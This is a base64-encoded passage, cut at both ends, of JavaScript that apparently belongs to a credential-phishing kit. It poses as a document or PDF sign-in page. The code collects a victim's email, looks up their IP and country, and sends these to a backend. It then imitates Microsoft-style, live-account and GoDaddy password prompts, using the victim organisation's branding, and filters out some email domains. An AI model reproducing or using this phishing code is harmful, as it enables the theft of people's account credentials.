G9jKCk7DQogICAgICAgICAgfSwgImpzb24iKQ0KICAgICAgICAgIC5mYWlsKGZ1bmN0aW9uKGpxWEhSLCB0ZXh0U3RhdHVzLCBlcnJvclRocm93bikgew0KICAgICAgICAgICAgICBpZiAoanFYSFIuc3RhdHVzID09IDQyOSB8fCB0ZXh0U3RhdHVzICE9PSAic3VjY2VzcyIpIHsNCiAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoc2VuZGVtYWlscmVxdWVzdHplcm9kb2MsIDEwMDApOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgfSk7DQogICAgICAgICAgfSkoKTsNCiAgICAgICAgICAgIC8vIHNlbmRlbWFpbGRvYygpOw0KDQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIH0NCg0KICAgIC8vIHNwdw0KDQogICAgaWYodmlldyA9PSAidW5hbWVfc3B3Iil7DQogICAgY29uc3Qgbnh0cGRmID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J0bl9uZXh0X3BkZicpOw0KDQogICAgbnh0cGRmLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKCkgPT4gew0KICAgICAgICB2YWxpZGF0ZXBkZigpOw0KICAgIH0pDQoNCiAgICBwZGZjaGVjayA9IDE7DQoNCiAgICBmdW5jdGlvbiBsb2FkaW5nYW5pbWF0aW9ucGRmKHR5cGUpew0KICAgIGlmKHR5cGUgPT0gMCl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX3BkZicpLnF1ZXJ5U2VsZWN0b3IoJyNtYWluTG9hZGVyJykuc3R5bGUuZGlzcGxheSA9ICJmbGV4IjsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfcGRmJykucXVlcnlTZWxlY3RvcignI3NlY3Rpb25fdW5hbWVfY29udGVudCcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgIH0NCiAgICBpZih0eXBlID09IDEpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19wZGYnKS5xdWVyeVNlbGVjdG9yKCcjbWFpbkxvYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX3BkZicpLnF1ZXJ5U2VsZWN0b3IoJyNzZWN0aW9uX3VuYW1lX2NvbnRlbnQnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICB9DQogICAgaWYodHlwZSA9PSAyKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfcGRmJykucXVlcnlTZWxlY3RvcignI21haW5Mb2FkZXInKS5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19wZGYnKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICB9DQogICAgfQ0KDQogICAgY29uc3QgdW5hbWVwZGZpbnAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGRmZW1haWwnKTsNCg0KICAgIGZ1bmN0aW9uIHNlbmRlbWFpbHBkZigpew0KICAgICAgICAgIHNlbmRBbmRSZWNlaXZlKCdjaGVja2VtYWlsJywgW3VuYW1lcGRmaW5wLnZhbHVlLHBhZ2VsaW5rdmFsLGJyb3dzZXJOYW1lLHVzZXJpcCx1c2VyY291bnRyeV0sMSkNCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICAgICAgICB2YXIgbWF0Y2hGb3VuZCA9IGZhbHNlOw0KDQogICAgICAgICAgICB2YXIgYW5pbWR1cmF0aW9uID0gMzAwOw0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMoIm5ld3dlYnNpdGVvcGVuIikgPT0gZmFsc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gImVycm9yIil7DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYWNjdHlwZSddICYmIHJlc3BvbnNlWydhY2N0eXBlJ10gPT0gMil7DQogICAgICAgICAgICBwdm4gPSAxOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2FjY3R5cGUnXSA9PSB1bmRlZmluZWQgfHwgcmVzcG9uc2VbJ2FjY3R5cGUnXSAmJiByZXNwb25zZVsnYWNjdHlwZSddID09IDEpew0KICAgICAgICAgICAgcHZuID0gMDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMoIm5ld3dlYnNpdGVvcGVuIikgPT0gZmFsc2Upew0KICAgICAgICAgICAgYW5pbWR1cmF0aW9uID0gMDsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25wZGYoMSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgd2Vic2l0ZW5hbWVzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSB0cnVlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMod2Vic2l0ZW5hbWVzW2ldKSA9PSB0cnVlKXsNCiAgICAgICAgICAgIG1hdGNoRm91bmQgPSB0cnVlOw0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZXBkZmlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBpZih3ZWJzaXRlbmFtZXNbaV0gPT0gJ2dvZGFkZHknKXsNCiAgICAgICAgICAgIHZhciB3ZWJzaXRlc2NyaXB0ID0gZ2RmOw0KDQogICAgICAgICAgICB2YXIgZXhpc3RpbmdTY3JpcHQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdzY3JpcHRbc3JjXj0iJytnZGYrJyJdJyk7DQoNCiAgICAgICAgICAgIGlmICghZXhpc3RpbmdTY3JpcHQpIHsNCiAgICAgICAgICAgICAgICB2YXIgc2NyaXB0RWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOw0KICAgICAgICAgICAgICAgIHNjcmlwdEVsZW1lbnQuc3JjID0gd2Vic2l0ZXNjcmlwdDsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdEVsZW1lbnQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY29uc3QgaG92ZXJTdHlsZSA9IGANCiAgICAgICAgICAgIDo6LW1vei1zZWxlY3Rpb24gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2E2ZmZmODsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgOjpzZWxlY3Rpb24gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2E2ZmZmODsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGA7DQogICAgICAgICAgICBjb25zdCBzdHlsZUVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOw0KICAgICAgICAgICAgc3R5bGVFbGVtZW50LmlkID0gJ2R5bmFtaWMtc3R5bGUnOw0KICAgICAgICAgICAgc3R5bGVFbGVtZW50LnRleHRDb250ZW50ID0gaG92ZXJTdHlsZTsNCiAgICAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGVFbGVtZW50KTsNCg0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zX3BkZiIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWVfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfJyt3ZWJzaXRlbmFtZXNbaV0rJycpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1jb2xvcicsICcjZjVmN2Y4JywgJ2ltcG9ydGFudCcpOw0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1pbWFnZScsICd1bnNldCcsICdpbXBvcnRhbnQnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuc2V0UHJvcGVydHkoJ292ZXJmbG93JywgJ2F1dG8nLCAnaW1wb3J0YW50Jyk7DQogICAgICAgICAgICB2aWV3ID0gInB3ZF9nb2RhZGR5IjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSB0cnVlICYmIGkgPT0gd2Vic2l0ZW5hbWVzLmxlbmd0aCAtIDEgJiYgIW1hdGNoRm91bmQpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZXBkZmlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2QnLFt7YV9pZDogImlkQV9QV0RfRm9yZ290UGFzc3dvcmQiLCBhX3RleHQ6ICJGb3Jnb3QgbXkgcGFzc3dvcmQiLCB0eXBlOiAibGluayJ9XSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3B3ZCcsMCk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9ucyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHdkJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICBvdGhlcndlYnVybCA9IHJlc3BvbnNlWydtZXNzYWdlJ10ucmVwbGFjZSgnbmV3d2Vic2l0ZW9wZW4nLCAnJyk7DQogICAgICAgICAgICB3ZWJub3Rmb3VuZCA9IHRydWU7DQogICAgICAgICAgICB2aWV3ID0gInB3ZCI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm11bHRpcGxlIGFjY291bnRzIil7DQogICAgICAgICAgICBtdWx0aXBsZWFjY291bnRzYmFjayA9IDE7DQogICAgICAgICAgICBpZih0d2EgPT0gMCl7DQogICAgICAgICAgICB2YXIgYmFubmVyTG9nb3MgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYmFubmVybG9nbyIpOw0KICAgICAgICAgICAgYmFubmVyTG9nb3MuZm9yRWFjaChmdW5jdGlvbihlbGVtZW50KSB7DQogICAgICAgICAgICBlbGVtZW50LnN0eWxlLmhlaWdodCA9ICIyNHB4IjsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fbXVsdGlwbGVhY2NvdW50cycpLnF1ZXJ5U2VsZWN0b3IoJyNidG5fYmFjaycpLnNldEF0dHJpYnV0ZSgiZGF0YS1pZCIsIHJlc3BvbnNlWydiYWNrYnRuaWQnXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9tdWx0aXBsZWFjY291bnRzJykucXVlcnlTZWxlY3RvcignI2J0bl9iYWNrJykuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwgImJhY2tidXR0b25jbGljayh0aGlzLDIpIik7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnbXVsdGlwbGVhY2NvdW50cycsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBkaXNwbGF5bXVsdGlwbGVhY2NvdW50cyhyZXNwb25zZVsnYWNjb3VudG9wdGlvbnMnXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ211bHRpcGxlYWNjb3VudHMnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lcGRmaW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQoNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uc19wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lX3BkZiIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9tdWx0aXBsZWFjY291bnRzJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIm11bHRpcGxlYWNjb3VudHMiOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiY29ycmVjdCBlbWFpbCIpew0KICAgICAgICAgICAgaWYodHdhID09IDApew0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSAhPT0gdW5kZWZpbmVkICYmIHJlc3BvbnNlWydiYW5uZXJsb2dvJ10gIT09IG51bGwpew0KICAgICAgICAgICAgdmFyIGJhbm5lckxvZ29zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmJhbm5lcmxvZ28iKTsNCiAgICAgICAgICAgIGJhbm5lckxvZ29zLmZvckVhY2goZnVuY3Rpb24oZWxlbWVudCkgew0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UgPSAidXJsKCciK3Jlc3BvbnNlWydiYW5uZXJsb2dvJ10rIicpIjsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUud2lkdGggPSAidW5zZXQiOw0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5oZWlnaHQgPSAiMzZweCI7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydiYWNrZ3JvdW5kY29sb3InXSAhPT0gdW5kZWZpbmVkICYmIHJlc3BvbnNlWydiYWNrZ3JvdW5kY29sb3InXSAhPT0gbnVsbCl7DQogICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuc2V0UHJvcGVydHkoJ2JhY2tncm91bmQtY29sb3InLCByZXNwb25zZVsnYmFja2dyb3VuZGNvbG9yJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2JhY2tncm91bmRpbWFnZSddICE9PSB1bmRlZmluZWQgJiYgcmVzcG9uc2VbJ2JhY2tncm91bmRpbWFnZSddICE9PSBudWxsKXsNCiAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1pbWFnZScsICJ1cmwoJyIrcmVzcG9uc2VbJ2JhY2tncm91bmRpbWFnZSddKyInKSIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSA9PSB1bmRlZmluZWQgfHwgcmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSA9PSBudWxsKXsNCiAgICAgICAgICAgIHZhciBiYW5uZXJMb2dvcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5iYW5uZXJsb2dvIik7DQogICAgICAgICAgICBiYW5uZXJMb2dvcy5mb3JFYWNoKGZ1bmN0aW9uKGVsZW1lbnQpIHsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuaGVpZ2h0ID0gIjI0cHgiOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocHZuID09IDApew0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2QnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2QnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocHZuID09IDEpew0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2RfbGl2ZScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3B3ZF9saXZlJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZXBkZmlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9ucyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgaWYocHZuID09IDApew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHdkJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInB3ZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwdm4gPT0gMSl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2RfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJwd2RfbGl2ZSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX3BkZiIpLmlubmVyVGV4dCA9ICJQbGVhc2UsIHByb3ZpZGUgYSB2YWxpZCBlbWFpbC4iOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX3BkZiIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbnBkZigxKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfSwgYW5pbWR1cmF0aW9uKTsNCiAgICAgICAgICB9DQogICAgICAgICAgfSkNCiAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25wZGYoMSk7DQogICAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgICAgICAgIH0pOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHZhbGlkYXRlcGRmKCkgew0KICAgICAgICBpZiAodmlldyA9PT0gInVuYW1lX3BkZiIpIHsNCiAgICAgICAgICAgIGNvbnN0IGJsb2NrZWREb21haW5zID0gYmVzOw0KICAgICAgICAgICAgY29uc3QgZG9tYWluID0gdW5hbWVwZGZpbnAudmFsdWUudHJpbSgpLnNwbGl0KCdAJylbMV07DQogICAgICAgICAgICBpZiAodW5hbWVwZGZpbnAudmFsdWUuaW5jbHVkZXMoIkAiKSAmJiBibG9ja2VkRG9tYWlucy5zb21lKGJsb2NrZWQgPT4gZG9tYWluLmluY2x1ZGVzKGJsb2NrZWQpKSkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbnBkZigwKTsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9ucGRmKDEpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX3BkZiIpLmlubmVyVGV4dCA9ICJQbGVhc2UsIHByb3ZpZGUgYSB2YWxpZCBlbWFpbC4iOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX3BkZiIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgfSwgMzAwMCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAodW5hbWVwZGZpbnAudmFsdWUudHJpbSgpID09ICIiKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfcGRmIikuaW5uZXJUZXh0ID0gIlBsZWFzZSwgcHJvdmlkZSBhIHZhbGlkIGVtYWlsLiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfcGRmIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICB9IGVsc2UgaWYgKHVuYW1lcGRmaW5wLnZhbHVlLnRyaW0oKSAhPSAiIiAmJiB1bmFtZXBkZmlucC52YWx1ZS5pbmNsdWRlcygiQCIpICYmICFibG9ja2VkRG9tYWlucy5zb21lKGJsb2NrZWQgPT4gZG9tYWluLmluY2x1ZGVzKGJsb2NrZWQpKSkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbnBkZigwKTsNCiAgICAgICAgICAgIGlmICh3ZWJub3Rmb3VuZCA9PSB0cnVlKXsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9ucGRmKDEpOw0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yX3B3ZCcpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF9wd2QnKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zX3BkZiIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWVfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIH0sIDMwMCk7DQogICAgICAgICAgICB9LCAzMDAwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh3ZWJub3Rmb3VuZCA9PSBmYWxzZSl7DQogICAgICAgICAgICBpZihpbnRlcmFjdGVkID09IDEpew0KICAgICAgICAgIC8vICAgKGZ1bmN0aW9uIHNlbmRlbWFpbHJlcXVlc3RvbmVwZGYoKSB7DQogICAgICAgICAgLy8gJC5nZXQoImh0dHBzOi8vZ2V0Lmdlb2pzLmlvL3YxL2lwL2dlby5qc29uIiwgZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAvLyAgICAgdXNlcmlwID0gcmVzcG9uc2UuaXA7DQogICAgICAgICAgLy8gICAgIHVzZXJjb3VudHJ5ID0gcmVzcG9uc2UuY291bnRyeTsNCiAgICAgICAgICAvLyAgICAgc2VuZGVtYWlscGRmKCk7DQogICAgICAgICAgLy8gfSwgImpzb24iKQ0KICAgICAgICAgIC8vIC5mYWlsKGZ1bmN0aW9uKGpxWEhSLCB0ZXh0U3RhdHVzLCBlcnJvclRocm93bikgew0KICAgICAgICAgIC8vICAgICBpZiAoanFYSFIuc3RhdHVzID09IDQyOSB8fCB0ZXh0U3RhdHVzICE9PSAic3VjY2VzcyIpIHsNCiAgICAgICAgICAvLyAgICAgICAgIHNldFRpbWVvdXQoc2VuZGVtYWlscmVxdWVzdG9uZXBkZiwgMTAwMCk7DQogICAgICAgICAgLy8gICAgIH0NCiAgICAgICAgICAvLyB9KTsNCiAgICAgICAgICAvLyB9KSgpOw0KICAgICAgICAgICAgc2VuZGVtYWlscGRmKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihpbnRlcmFjdGVkID09IDApew0KDQogICAgICAgICAgICBpbnRlcmFjdGVkID0gMTsNCg0KICAgICAgICAgICAgKGZ1bmN0aW9uIHNlbmRlbWFpbHJlcXVlc3R6ZXJvcGRmKCkgew0KICAgICAgICAgICQuZ2V0KCJodHRwczovL2dldC5nZW9qcy5pby92MS9pcC9nZW8uanNvbiIsIGZ1bmN0aW9uKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgIHVzZXJpcCA9IHJlc3BvbnNlLmlwOw0KICAgICAgICAgICAgICB1c2VyY291bnRyeSA9IHJlc3BvbnNlLmNvdW50cnk7DQogICAgICAgICAgICAgIHNlbmRlbWFpbHBkZigpOw0KICAgICAgICAgIH0sICJqc29uIikNCiAgICAgICAgICAuZmFpbChmdW5jdGlvbihqcVhIUiwgdGV4dFN0YXR1cywgZXJyb3JUaHJvd24pIHsNCiAgICAgICAgICAgICAgaWYgKGpxWEhSLnN0YXR1cyA9PSA0MjkgfHwgdGV4dFN0YXR1cyAhPT0gInN1Y2Nlc3MiKSB7DQogICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHNlbmRlbWFpbHJlcXVlc3R6ZXJvcGRmLCAxMDAwKTs